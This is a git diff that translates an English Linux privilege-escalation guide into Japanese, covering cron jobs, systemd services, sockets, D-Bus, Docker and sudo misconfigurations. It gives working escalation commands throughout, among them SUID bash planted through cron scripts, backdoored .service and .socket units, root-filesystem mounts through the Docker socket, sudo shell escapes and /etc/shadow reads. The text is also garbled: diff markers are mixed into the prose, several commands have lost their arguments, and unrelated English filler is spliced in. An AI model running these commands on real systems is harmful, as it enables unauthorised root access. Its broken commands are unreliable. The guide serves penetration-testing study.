GDMパスワード(Kaliデスクトップ、Debianデスクトップ) | gdm-password | +| Gnome Keyring(Ubuntuデスクトップ、ArchLinuxデスクトップ) | gnome-keyring-daemon | +| LightDM(Ubuntuデスクトップ) | lightdm | +| VSFTPd(アクティブなFTP接続) | vsftpd | +| Apache2(アクティブなHTTPベーシック認証セッション) | apache2 | +| OpenSSH(アクティブなSSHセッション - Sudo使用) | sshd: | #### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) - ```bash # un truffleproc.sh against your current Bash shell (e.g. $$) ./truffleproc.sh $$ @@ -387,186 +570,172 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` +## スケジュールされた/Cronジョブ -## Scheduled/Cron jobs - -Check if any scheduled job is vulnerable. Maybe you can take advantage of a script being executed by root (wildcard vuln? can modify files that root uses? use symlinks? create specific files in the directory that root uses?). - +脆弱性のあるスケジュールされたジョブがないか確認してください。おそらく、rootによって実行されるスクリプトを利用することができます(ワイルドカードの脆弱性?rootが使用するファイルを変更できますか?シンボリックリンクを使用しますか?rootが使用するディレクトリに特定のファイルを作成しますか?)。 ```bash crontab -l ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` +### Cronのパス -### Cron path +例えば、_/etc/crontab_ 内にはPATHが記述されています: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ -For example, inside _/etc/crontab_ you can find the PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ - -(_Note how the user "user" has writing privileges over /home/user_) - -If inside this crontab the root user tries to execute some command or script without setting the path. For example: _\* \* \* \* root overwrite.sh_\ -Then, you can get a root shell by using: +(_ユーザー"user"が/home/userに対して書き込み権限を持っていることに注意してください_) +もし、このcrontab内でrootユーザーがパスを設定せずにコマンドやスクリプトを実行しようとした場合、例えば: _\* \* \* \* root overwrite.sh_\ +その場合、以下の方法でrootシェルを取得することができます: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh #Wait cron job to be executed /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` +### スクリプト内のワイルドカードを使用したCron(ワイルドカードインジェクション) -### Cron using a script with a wildcard (Wildcard Injection) - -If a script is executed by root has a “**\***” inside a command, you could exploit this to make unexpected things (like privesc). Example: - +もしルートユーザーによって実行されるスクリプト内のコマンドに「\***」が含まれている場合、これを悪用して予期しないこと(例えば特権昇格)を行うことができます。例: ```bash rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script ``` +**ワイルドカードが** _**/some/path/\*** **のようなパスの前にある場合、脆弱ではありません(** _**./\*** **であっても脆弱ではありません)。** -**If the wildcard is preceded of a path like** _**/some/path/\***_ **, it's not vulnerable (even** _**./\***_ **is not).** - -Read the following page for more wildcard exploitation tricks: +ワイルドカードの悪用に関するさらなるトリックについては、次のページを参照してください: {% content-ref url="wildcards-spare-tricks.md" %} [wildcards-spare-tricks.md](wildcards-spare-tricks.md) {% endcontent-ref %} -### Cron script overwriting and symlink - -If you **can modify a cron script** executed by root, you can get a shell very easily: +### Cronスクリプトの上書きとシンボリックリンク +**rootによって実行されるcronスクリプトを変更できる場合、非常に簡単にシェルを取得できます:** ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' >
#Wait until it is executed /tmp/bash -p ``` - -If the script executed by root uses a **directory where you have full access**, maybe it could be useful to delete that folder and **create a symlink folder to another one** serving a script controlled by you - +もしrootによって実行されるスクリプトが、あなたが完全なアクセス権を持つ**ディレクトリ**を使用している場合、そのフォルダを削除し、代わりにあなたが制御するスクリプトがある別のディレクトリへの**シンボリックリンクフォルダ**を作成することは有用かもしれません。 ```bash ln -d -s
``` +### 頻繁なcronジョブ -### Frequent cron jobs - -You can monitor the processes to search for processes that are being executed every 1, 2 or 5 minutes. Maybe you can take advantage of it and escalate privileges. - -For example, to **monitor every 0.1s during 1 minute**, **sort by less executed commands** and delete the commands that have been executed the most, you can do: +プロセスを監視して、1分、2分、または5分ごとに実行されているプロセスを検索することができます。これを利用して特権をエスカレーションすることができるかもしれません。 +例えば、**1分間に0.1秒ごとに監視**し、**実行されたコマンドが最も少ない順にソート**し、最も実行されたコマンドを削除するには、次のようにします: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` +**以下のようにも使用できます** [**pspy**](https://github.com/DominicBreuker/pspy/releases)(これにより、開始するすべてのプロセスが監視およびリストされます)。 -**You can also use** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (this will monitor and list every process that starts). - -### Invisible cron jobs - -It's possible to create a cronjob **putting a carriage return after a comment** (without newline character), and the cron job will work. Example (note the carriage return char): +### 目に見えないcronジョブ +コメントの後に改行文字を入れることで、cronジョブを作成することができます。例(改行文字に注意してください): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` +## サービス -## Services +### 書き込み可能な _.service_ ファイル -### Writable _.service_ files +`.service` ファイルを書き込むことができるかどうかを確認してください。もし書き込むことができれば、サービスが **開始**、**再起動**、または **停止** されたときに、それを **変更して** バックドアを **実行** することができます(おそらくマシンが再起動されるまで待つ必要があります)。\ +例えば、.service ファイル内にバックドアを作成し、**`ExecStart=/tmp/script.sh`** とします。 -Check if you can write any `.service` file, if you can, you **could modify it** so it **executes** your **backdoor when** the service is **started**, **restarted** or **stopped** (maybe you will need to wait until the machine is rebooted).\ -For example create your backdoor inside the .service file with **`ExecStart=/tmp/script.sh`** +### 書き込み可能なサービスバイナリ -### Writable service binaries +サービスによって実行されるバイナリに **書き込み権限** がある場合、バックドアに変更することができます。そのため、サービスが再実行されるとバックドアが実行されます。 -Keep in mind that if you have **write permissions over binaries being executed by services**, you can change them for backdoors so when the services get re-executed the backdoors will be executed. - -### systemd PATH - Relative Paths - -You can see the PATH used by **systemd** with: +### systemd PATH - 相対パス +**systemd** が使用する PATH を以下のコマンドで確認できます: ```bash systemctl show-environment ``` - -If you find that you can **write** in any of the folders of the path you may be able to **escalate privileges**. You need to search for **relative paths being used on service configurations** files like: - +もし、パスのいずれかのフォルダに**書き込み**できることがわかった場合、**特権の昇格**が可能かもしれません。次のような**サービス設定ファイルで相対パスが使用されているか**を検索する必要があります。 ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` +次に、**実行可能な**ファイルを作成し、**相対パスバイナリと同じ名前**でsystemdのPATHフォルダ内に配置します。そして、サービスが脆弱なアクション(**開始**、**停止**、**再読み込み**)を実行するように要求されたときに、**バックドアが実行されます**(一般的には特権のないユーザーはサービスの開始/停止ができませんが、`sudo -l`を使用できるかどうかを確認してください)。 -Then, create an **executable** with the **same name as the relative path binary** inside the systemd PATH folder you can write, and when the service is asked to execute the vulnerable action (**Start**, **Stop**, **Reload**), your **backdoor will be executed** (unprivileged users usually cannot start/stop services but check if you can use `sudo -l`). +**`man systemd.service`**でサービスについて詳しく学びましょう。 -**Learn more about services with `man systemd.service`.** +## **タイマー** -## **Timers** - -**Timers** are systemd unit files whose name ends in `**.timer**` that control `**.service**` files or events. **Timers** can be used as an alternative to cron as they have built-in support for calendar time events and monotonic time events and can be run asynchronously. - -You can enumerate all the timers with: +**タイマー**は、名前が`**.timer**`で終わるsystemdユニットファイルで、`**.service**`ファイルやイベントを制御します。**タイマー**は、カレンダー時間イベントとモノトニック時間イベントの組み込みサポートを持ち、非同期に実行することができるため、cronの代替として使用することができます。 +次のコマンドですべてのタイマーを列挙できます。 ```bash systemctl list-timers --all ``` +### 書き込み可能なタイマー -### Writable timers - -If you can modify a timer you can make it execute some existents of systemd.unit (like a `.service` or a `.target`) - +タイマーを変更できれば、systemd.unitの存在するもの(`.service`や`.target`など)を実行させることができます。 ```bash Unit=backdoor.service ``` +ドキュメントでは、Unitとは何かを読むことができます: -In the documentation you can read what the Unit is: +> このタイマーが経過したときにアクティブにするユニット。引数はユニット名であり、サフィックスは ".timer" ではありません。指定されていない場合、この値はタイマーユニットと同じ名前のサービスにデフォルトで設定されます(上記を参照)。アクティブにされるユニット名とタイマーユニットのユニット名は、サフィックスを除いて同じ名前になることが推奨されています。 -> The unit to activate when this timer elapses. The argument is a unit name, whose suffix is not ".timer". If not specified, this value defaults to a service that has the same name as the timer unit, except for the suffix. (See above.) It is recommended that the unit name that is activated and the unit name of the timer unit are named identically, except for the suffix. +したがって、この権限を悪用するには、次のことが必要です: -Therefore, to abuse this permission you would need to: +* **書き込み可能なバイナリを実行している**systemdユニット(例:`.service`)を見つける +* **相対パスを実行している**systemdユニットを見つけ、**systemd PATH**上で**書き込み権限**を持っている(その実行可能ファイルをなりすますため) -* Find some systemd unit (like a `.service`) that is **executing a writable binary** -* Find some systemd unit that is **executing a relative path** and you have **writable privileges** over the **systemd PATH** (to impersonate that executable) +**`man systemd.timer`でタイマーについて詳しく学びましょう。** -**Learn more about timers with `man systemd.timer`.** - -### **Enabling Timer** - -To enable a timer you need root privileges and to execute: +### **タイマーの有効化** +タイマーを有効にするには、ルート権限が必要で、次のコマンドを実行します: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` +注意してください。**タイマー**は、`/etc/systemd/system/.wants/.timer`にそれへのシンボリックリンクを作成することで**アクティブ化**されます。 -Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/.wants/.timer` +## ソケット -## Sockets +簡単に言えば、Unixソケット(正確な名前はUnixドメインソケット、**UDS**)は、クライアントサーバーアプリケーションフレームワークで、同じマシンまたは異なるマシン上の2つの異なるプロセス間での**通信を可能にする**ものです。より正確に言えば、これは標準のUnixディスクリプタファイルを使用してコンピュータ間で通信する方法です([ここから](https://www.linux.com/news/what-socket/))。 -In brief, a Unix Socket (technically, the correct name is Unix Domain Socket, **UDS**) allows **communication between two different processes** on either the same machine or different machines in client-server application frameworks. To be more precise, it’s a way of communicating among computers using a standard Unix descriptors file. (From [here](https://www.linux.com/news/what-socket/)). +ソケットは`.socket`ファイルを使用して設定できます。 -Sockets can be configured using `.socket` files. +**`man systemd.socket`でソケットについて詳しく学びましょう。**このファイル内では、いくつかの興味深いパラメータを設定できます。 -**Learn more about sockets with `man systemd.socket`.** Inside this file, several interesting parameters can be configured: +* `ListenStream`、`ListenDatagram`、`ListenSequentialPacket`、`ListenFIFO`、`ListenSpecial`、`ListenNetlink`、`ListenMessageQueue`、`ListenUSBFunction`:これらのオプションは異なりますが、要約すると、ソケットが**どこでリッスンするか**を示します(AF\_UNIXソケットファイルのパス、リッスンするIPv4/6および/またはポート番号など)。 +* `Accept`:真偽値の引数を取ります。**true**の場合、**受信した接続ごとにサービスインスタンスが生成**され、接続ソケットのみが渡されます。**false**の場合、すべてのリッスンソケット自体が**開始されたサービスユニットに渡され**、すべての接続に対して1つのサービスユニットが生成されます。この値は、単一のサービスユニットがすべての受信トラフィックを無条件に処理するデータグラムソケットとFIFOでは無視されます。**デフォルトはfalse**です。パフォーマンスのために、新しいデーモンは`Accept=no`に適した方法でのみ記述することをお勧めします。 +* `ExecStartPre`、`ExecStartPost`:1つ以上のコマンドラインを取ります。これらはリッスン**ソケット**/FIFOが**作成**および**バインド**される**前**または**後**に**実行**されます。コマンドラインの最初のトークンは絶対ファイル名でなければならず、それに続いてプロセスの引数が続きます。 +* `ExecStopPre`、`ExecStopPost`:これらは、リッスン**ソケット**/FIFOが**閉じられ**、**削除**される**前**または**後**に**実行**される**追加のコマンド**です。 +* `Service`:**受信トラフィック**で**アクティブ化する**ための**サービス**ユニット名を指定します。この設定は、Accept=noのソケットにのみ許可されています。デフォルトでは、ソケットと同じ名前のサービス(接尾辞が置換されたもの)が使用されます。ほとんどの場合、このオプションを使用する必要はありません。 -* `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: These options are different but a summary is used to **indicate where it is going to listen** to the socket (the path of the AF\_UNIX socket file, the IPv4/6 and/or port number to listen, etc.) -* `Accept`: Takes a boolean argument. If **true**, a **service instance is spawned for each incoming connection** and only the connection socket is passed to it. If **false**, all listening sockets themselves are **passed to the started service unit**, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. **Defaults to false**. For performance reasons, it is recommended to write new daemons only in a way that is suitable for `Accept=no`. -* `ExecStartPre`, `ExecStartPost`: Takes one or more command lines, which are **executed before** or **after** the listening **sockets**/FIFOs are **created** and bound, respectively. The first token of the command line must be an absolute filename, then followed by arguments for the process. -* `ExecStopPre`, `ExecStopPost`: Additional **commands** that are **executed before** or **after** the listening **sockets**/FIFOs are **closed** and removed, respectively. -* `Service`: Specifies the **service** unit name **to activate** on **incoming traffic**. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket (with the suffix replaced). In most cases, it should not be necessary to use this option. +### 書き込み可能な .socket ファイル -### Writable .socket files +**書き込み可能な** `.socket` ファイルを見つけた場合、`[Socket]` セクションの先頭に `ExecStartPre=/home/kali/sys/backdoor` のようなものを追加することができます。そのため、ソケットが作成される前にバックドアが実行されます。したがって、**おそらくマシンが再起動するまで待つ必要があります。**\ +_なお、システムはそのソケットファイルの設定を使用している必要があり、そうでない場合はバックドアは実行されません_ -If you find a **writable** `.socket` file you can **add** at the beginning of the `[Socket]` section something like: `ExecStartPre=/home/kali/sys/backdoor` and the backdoor will be executed before the socket is created. Therefore, you will **probably need to wait until the machine is rebooted.**\ -_Note that the system must be using that socket file configuration or the backdoor won't be executed_ +### 書き込み可能なソケット -### Writable sockets - -If you **identify any writable socket** (_now we are talking about Unix Sockets and not about the config `.socket` files_), then **you can communicate** with that socket and maybe exploit a vulnerability. - -### Enumerate Unix Sockets +(ここではUnixソケットについて話しているので、設定の `.socket` ファイルではありません)**書き込み可能なソケット**を特定すると、そのソケットと通信し、脆弱性を悪用することができるかもしれません。 +### Unixソケットの列挙 ```bash netstat -a -p --unix ``` +### 生の接続 -### Raw connection +To establish a raw connection to a target system, you can use tools like `netcat` or `nc`. These tools allow you to communicate directly with a remote system by opening a TCP or UDP connection. +To connect to a remote system using `netcat`, use the following command: + +``` +nc +``` + +Replace `` with the IP address of the target system and `` with the desired port number. + +Once the connection is established, you can send and receive data directly through the terminal. This can be useful for various purposes, such as testing network connectivity or interacting with specific services. + +Remember to use raw connections responsibly and only on systems that you have proper authorization to access. ```bash #apt-get install netcat-openbsd nc -U /tmp/socket #Connect to UNIX-domain stream socket @@ -575,40 +744,34 @@ nc -uU /tmp/socket #Connect to UNIX-domain datagram socket #apt-get install socat socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type ``` - **Exploitation example:** {% content-ref url="socket-command-injection.md" %} [socket-command-injection.md](socket-command-injection.md) {% endcontent-ref %} -### HTTP sockets - -Note that there may be some **sockets listening for HTTP** requests (_I'm not talking about .socket files but the files acting as unix sockets_). You can check this with: +### HTTP ソケット +HTTP リクエストを待ち受ける **ソケット** が存在する場合があります(_ここで言っているのは .socket ファイルではなく、UNIX ソケットとして機能するファイルです_)。次のコマンドで確認できます: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` +もしソケットが**HTTPの応答**を返すなら、それと**通信**し、おそらく**いくつかの脆弱性を悪用**することができます。 -If the socket **responds with an HTTP** request, then you can **communicate** with it and maybe **exploit some vulnerability**. - -### Writable Docker Socket - -The **docker socke**t is typically located at `/var/run/docker.sock` and is only writable by the `root` user and `docker` group.\ -If for some reason **you have write permissions** over that socket you can escalate privileges.\ -The following commands can be used to escalate privileges: +### 書き込み可能なDockerソケット +**Dockerソケット**は通常、`/var/run/docker.sock`にあり、`root`ユーザーと`docker`グループのみが書き込み権限を持っています。\ +もし何らかの理由でそのソケットに対して**書き込み権限を持っている**場合、特権を昇格させることができます。\ +以下のコマンドを使用して特権を昇格させることができます: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` +#### Dockerパッケージを使用せずに、ソケットからDocker Web APIを使用する -#### Use docker web API from socket without docker package - -If you have access to **docker socket** but you can't use the docker binary (maybe it isn't even installed), you can use the web API directly with `curl`. - -The following commands are an example of how to **create a docker container that mounts the root** of the host system and use `socat` to execute commands into the new docker. +もし**Dockerソケットにアクセス権がある**が、Dockerバイナリを使用できない場合(おそらくインストールされていないかもしれません)、`curl`を使用して直接Web APIを使用することができます。 +以下のコマンドは、ホストシステムのルートをマウントするDockerコンテナを作成し、`socat`を使用して新しいDockerにコマンドを実行する方法の例です。 ```bash # List docker images curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json @@ -618,9 +781,7 @@ curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.so #{"Id":"","Warnings":[]} curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` - -The last step is to use `socat` to initiate a connection to the container, sending an "attach" request - +最後のステップは、`socat`を使用してコンテナに接続し、"attach"リクエストを送信することです。 ```bash socat - UNIX-CONNECT:/var/run/docker.sock POST /containers//attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1 @@ -633,30 +794,29 @@ Upgrade: tcp #Connection: Upgrade #Upgrade: tcp ``` +### その他 -Now, you can execute commands on the container from this `socat` connection. +`socat` 接続からコンテナ上でコマンドを実行することができます。 -### Others +注意点として、もし `docker` グループに所属しているために docker ソケットに対して書き込み権限を持っている場合、[特権昇格のためのより多くの方法があるかもしれません](interesting-groups-linux-pe/#docker-group)。もし [docker API がポートでリッスンしている場合、それを侵害することもできるかもしれません](../../network-services-pentesting/2375-pentesting-docker.md#compromising)。 -Note that if you have write permissions over the docker socket because you are **inside the group `docker`** you have [**more ways to escalate privileges**](interesting-groups-linux-pe/#docker-group). If the [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). - -Check **more ways to break out from docker or abuse it to escalate privileges** in: +**Docker を脱出するための他の方法や特権昇格に悪用する方法** については、以下を参照してください: {% content-ref url="docker-security/" %} [docker-security](docker-security/) {% endcontent-ref %} -## Containerd (ctr) privilege escalation +## Containerd (ctr) 特権昇格 -If you find that you can use the **`ctr`** command read the following page as **you may be able to abuse it to escalate privileges**: +もし **`ctr`** コマンドを使用できることがわかった場合、以下のページを読んでください。**特権昇格に悪用することができるかもしれません**: {% content-ref url="containerd-ctr-privilege-escalation.md" %} [containerd-ctr-privilege-escalation.md](containerd-ctr-privilege-escalation.md) {% endcontent-ref %} -## **RunC** privilege escalation +## **RunC** 特権昇格 -If you find that you can use the **`runc`** command read the following page as **you may be able to abuse it to escalate privileges**: +もし **`runc`** コマンドを使用できることがわかった場合、以下のページを読んでください。**特権昇格に悪用することができるかもしれません**: {% content-ref url="runc-privilege-escalation.md" %} [runc-privilege-escalation.md](runc-privilege-escalation.md) @@ -664,40 +824,37 @@ If you find that you can use the **`runc`** command read the following page as * ## **D-Bus** -D-BUS is an **inter-Process Communication (IPC) system**, providing a simple yet powerful mechanism **allowing applications to talk to one another**, communicate information and request services. D-BUS was designed from scratch to fulfil the needs of a modern Linux system. +D-BUS は、アプリケーション同士が通信し、情報をやり取りし、サービスを要求するためのシンプルでパワフルなメカニズムを提供する **インタープロセス通信 (IPC) システム**です。D-BUS は、現代の Linux システムのニーズを満たすためにゼロから設計されました。 -As a full-featured IPC and object system, D-BUS has several intended uses. First, D-BUS can perform basic application IPC, allowing one process to shuttle data to another—think **UNIX domain sockets on steroids**. Second, D-BUS can facilitate sending events, or signals, through the system, allowing different components in the system to communicate and ultimately integrate better. For example, a Bluetooth daemon can send an incoming call signal that your music player can intercept, muting the volume until the call ends. Finally, D-BUS implements a remote object system, letting one application request services and invoke methods from a different object—think CORBA without the complications. (From [here](https://www.linuxjournal.com/article/7744)). +D-BUS は、完全な機能を備えた IPC およびオブジェクトシステムとして、いくつかの用途があります。まず、D-BUS は基本的なアプリケーション IPC を実行できます。つまり、あるプロセスが別のプロセスにデータを送ることができます。UNIX ドメインソケットを強化したものと考えてください。次に、D-BUS はイベントやシグナルをシステムを通じて送信することができます。これにより、システム内の異なるコンポーネントが通信し、最終的により良く統合することができます。たとえば、Bluetooth デーモンは着信コールのシグナルを送信し、音楽プレーヤーはそれを受信して通話が終了するまで音量をミュートにすることができます。最後に、D-BUS はリモートオブジェクトシステムを実装しており、アプリケーションが異なるオブジェクトからサービスを要求し、メソッドを呼び出すことができます。複雑さのない CORBA のようなものです。([ここから](https://www.linuxjournal.com/article/7744)引用) -D-Bus uses an **allow/deny model**, where each message (method call, signal emission, etc.) can be **allowed or denied** according to the sum of all policy rules which match it. Each rule in the policy should have the `own`, `send_destination` or `receive_sender` attribute set. - -Part of the policy of `/etc/dbus-1/system.d/wpa_supplicant.conf`: +D-Bus は、各メッセージ(メソッド呼び出し、シグナル送信など)が一致するすべてのポリシールールによって許可または拒否される **許可/拒否モデル** を使用します。ポリシーの各ルールには、`own`、`send_destination`、または `receive_sender` 属性が設定されている必要があります。 +`/etc/dbus-1/system.d/wpa_supplicant.conf` のポリシーの一部: ```markup - - - - + + + + ``` +したがって、ポリシーがユーザーが**バスとやり取りすることを許可**している場合、特権をエスカレーションするためにそれを悪用することができるかもしれません(おそらくいくつかのパスワードをリストアップするだけです)。 -Therefore, if a policy is allowing your user in any way to **interact with the bus**, you could be able to exploit it to escalate privileges (maybe just listing for some passwords?). +ユーザーまたはグループを指定しない**ポリシー**は、すべての人に影響を与えます(``)。\ +コンテキスト「default」のポリシーは、他のポリシーに影響を受けないすべての人に影響を与えます(``).\ -Policies to the context "default" affects everyone not affected by other policies (`/dev/null @@ -765,67 +916,81 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` - ### Big UID -Some Linux versions were affected by a bug that allows users with **UID > INT\_MAX** to escalate privileges. More info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**Exploit it** using: **`systemd-run -t /bin/bash`** +一部のLinuxバージョンは、**UID > INT\_MAX**を持つユーザーが特権をエスカレーションできるバグの影響を受けました。詳細は[こちら](https://gitlab.freedesktop.org/polkit/polkit/issues/74)、[こちら](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh)、および[こちら](https://twitter.com/paragonsec/status/1071152249529884674)を参照してください。\ +**`systemd-run -t /bin/bash`**を使用して**エクスプロイト**します。 -### Groups +### グループ -Check if you are a **member of some group** that could grant you root privileges: +ルート権限を付与できる可能性のある**いくつかのグループのメンバー**であるかどうかを確認してください: {% content-ref url="interesting-groups-linux-pe/" %} [interesting-groups-linux-pe](interesting-groups-linux-pe/) {% endcontent-ref %} -### Clipboard - -Check if anything interesting is located inside the clipboard (if possible) +### クリップボード +クリップボード内に興味深い情報があるかどうかを確認してください(可能な場合)。 ```bash if [ `which xclip 2>/dev/null` ]; then - echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` - echo "Highlighted text: "`xclip -o 2>/dev/null` - elif [ `which xsel 2>/dev/null` ]; then - echo "Clipboard: "`xsel -ob 2>/dev/null` - echo "Highlighted text: "`xsel -o 2>/dev/null` - else echo "Not found xsel and xclip" - fi +echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` +echo "Highlighted text: "`xclip -o 2>/dev/null` +elif [ `which xsel 2>/dev/null` ]; then +echo "Clipboard: "`xsel -ob 2>/dev/null` +echo "Highlighted text: "`xsel -o 2>/dev/null` +else echo "Not found xsel and xclip" +fi ``` +### パスワードポリシー -### Password Policy +A password policy is a set of rules and requirements that dictate how passwords should be created and managed within a system. It is an important aspect of security as weak passwords can be easily guessed or cracked, leading to unauthorized access to sensitive information. +パスワードポリシーは、システム内でパスワードを作成および管理するためのルールと要件のセットです。弱いパスワードは簡単に推測または解読されるため、センシティブな情報への不正アクセスにつながる可能性があり、セキュリティの重要な要素です。 + +A strong password policy typically includes the following requirements: + +- Minimum password length: Specifies the minimum number of characters a password must have. +- Complexity requirements: Requires the use of a combination of uppercase and lowercase letters, numbers, and special characters. +- Password expiration: Sets a time limit for how long a password can be used before it must be changed. +- Password history: Prevents users from reusing their previous passwords. +- Account lockout: Temporarily locks an account after a certain number of failed login attempts to prevent brute-force attacks. +- Two-factor authentication: Requires users to provide an additional form of verification, such as a code sent to their mobile device, in addition to their password. + +強力なパスワードポリシーには通常、以下の要件が含まれます: + +- 最小パスワード長:パスワードに必要な最小文字数を指定します。 +- 複雑性の要件:大文字と小文字のアルファベット、数字、特殊文字の組み合わせの使用を要求します。 +- パスワードの有効期限:パスワードを変更する前に使用できる期間を設定します。 +- パスワードの履歴:ユーザーが以前のパスワードを再利用するのを防ぎます。 +- アカウントロックアウト:一定回数のログイン試行失敗後、一時的にアカウントをロックしてブルートフォース攻撃を防止します。 +- 二要素認証:パスワードに加えて、ユーザーにモバイルデバイスに送信されるコードなどの追加の確認手段を要求します。 ```bash grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs ``` +### 既知のパスワード -### Known passwords - -If you **know any password** of the environment **try to login as each user** using the password. +もし環境の**パスワードを知っている**場合は、各ユーザーに対してパスワードを使用してログインを試みてください。 ### Su Brute -If don't mind about doing a lot of noise and `su` and `timeout` binaries are present on the computer, you can try to brute-force user using [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) with `-a` parameter also try to brute-force users. +もしノイズを気にしないし、`su`と`timeout`バイナリがコンピュータに存在する場合は、[su-bruteforce](https://github.com/carlospolop/su-bruteforce)を使用してユーザーをブルートフォースすることができます。\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)は、`-a`パラメータを使用してユーザーをブルートフォースすることもできます。 -## Writable PATH abuses +## 書き込み可能なPATHの悪用 ### $PATH -If you find that you can **write inside some folder of the $PATH** you may be able to escalate privileges by **creating a backdoor inside the writable folder** with the name of some command that is going to be executed by a different user (root ideally) and that is **not loaded from a folder that is located previous** to your writable folder in $PATH. +もし、$PATHのいくつかのフォルダに**書き込みができる**ことがわかった場合は、書き込み可能なフォルダ内にバックドアを作成し、別のユーザー(理想的にはroot)によって実行されるいくつかのコマンドの名前を付けることで特権を昇格させることができるかもしれません。ただし、そのコマンドは、$PATHの書き込み可能なフォルダよりも前のフォルダには存在しないようにしてください。 -### SUDO and SUID - -You could be allowed to execute some command using sudo or they could have the suid bit. Check it using: +### SUDOとSUID +sudoを使用していくつかのコマンドを実行することが許可されているか、suidビットが設定されているかを確認してください。以下のコマンドを使用して確認できます。 ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` - -Some **unexpected commands allow you to read and/or write files or even execute a command.** For example: - +いくつかの**予期しないコマンドによって、ファイルの読み取りや書き込み、さらにはコマンドの実行が可能になります。** 例えば: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -834,43 +999,33 @@ sudo tar c a.tar -I ./runme.sh a ftp>!/bin/sh less>! ``` - ### NOPASSWD -Sudo configuration might allow a user to execute some command with another user's privileges without knowing the password. - +Sudoの設定では、パスワードを知らずに他のユーザーの特権でコマンドを実行することができる場合があります。 ``` $ sudo -l User demo may run the following commands on crashlab: - (root) NOPASSWD: /usr/bin/vim +(root) NOPASSWD: /usr/bin/vim ``` - -In this example the user `demo` can run `vim` as `root`, it is now trivial to get a shell by adding an ssh key into the root directory or by calling `sh`. - +この例では、ユーザー `demo` は `root` として `vim` を実行できます。したがって、ルートディレクトリにSSHキーを追加するか、`sh` を呼び出すことでシェルを取得することは非常に簡単です。 ``` sudo vim -c '!sh' ``` - ### SETENV -This directive allows the user to **set an environment variable** while executing something: - +このディレクティブは、何かを実行する際に**環境変数を設定する**ことができます。 ```bash $ sudo -l User waldo may run the following commands on admirer: - (ALL) SETENV: /opt/scripts/admin_tasks.sh +(ALL) SETENV: /opt/scripts/admin_tasks.sh ``` - -This example, **based on HTB machine Admirer**, was **vulnerable** to **PYTHONPATH hijacking** to load an arbitrary python library while executing the script as root: - +この例は、HTBマシンAdmirerをベースにしており、スクリプトをrootとして実行する際に任意のPythonライブラリを読み込むためにPYTHONPATHハイジャックに対して**脆弱**でした。 ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` +### パスをバイパスしてSudoを実行する -### Sudo execution bypassing paths - -**Jump** to read other files or use **symlinks**. For example in sudoers file: _hacker10 ALL= (root) /bin/less /var/log/\*_ - +他のファイルを読み取るために**ジャンプ**したり、**シンボリックリンク**を使用します。例えば、sudoersファイルでは: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -880,87 +1035,69 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln 